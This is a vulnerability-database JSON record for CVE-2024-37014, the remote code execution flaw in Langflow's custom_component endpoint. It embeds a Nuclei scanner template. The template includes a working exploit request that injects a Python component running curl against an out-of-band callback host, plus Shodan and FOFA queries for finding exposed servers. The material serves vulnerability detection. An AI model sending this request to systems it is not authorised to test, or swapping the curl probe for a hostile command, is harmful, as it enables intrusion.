{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-37014/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-37014/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-37014/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-37014/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-37014/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-37014"},"sightings":{"href":"/api/v1/sightings/cve-2024-37014"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-37014.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-37014\n\ninfo:\n  name: Langflow <= 1.0.12 - Remote Code Execution\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    Langflow 0.6.19 contains a remote code execution caused by accepting untrusted Python scripts in the /api/v1/custom_component endpoint, letting remote attackers execute arbitrary code, exploit requires access to the endpoint and untrusted script input.\n  impact: |\n    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of Langflow that addresses this issue or apply security patches.\n  reference:\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-9rjh-g5jh-r4mr\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-37014\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-37014\n    epss-score: 0.63037\n    epss-percentile: 0.99165\n    cwe-id: CWE-94\n    cpe: cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: langflow\n    product: langflow\n    shodan-query: http.title:\"Langflow\"\n    fofa-query: title=\"Langflow\"\n  tags: cve,cve2024,langflow,rce,oast,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/version HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_any(body, \"Langflow\", \"langflow\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/v1/custom_component HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"code\":\"import os\\nfrom langflow.custom import Component\\nfrom langflow.io import Output\\n\\nclass RCEProbe(Component):\\n    display_name = \\\"Probe\\\"\\n    outputs = [Output(display_name=\\\"Out\\\", name=\\\"out\\\", method=\\\"run\\\")]\\n    def run(self):\\n        os.system('curl -m 5 -s http://{{interactsh-url}}')\\n        return ''\\n\"}\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n          - \"dns\"\n        condition: or\n# digest: 4b0a00483046022100e8c92632fbccbde4fc56505c5ad6fac2de841cb20b97404c6aaa33bc8e21803d0221008120b13a797df2e0affea9d38329ee48bf016fd4ad78ba2b5a4148aac9403777:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-37014"}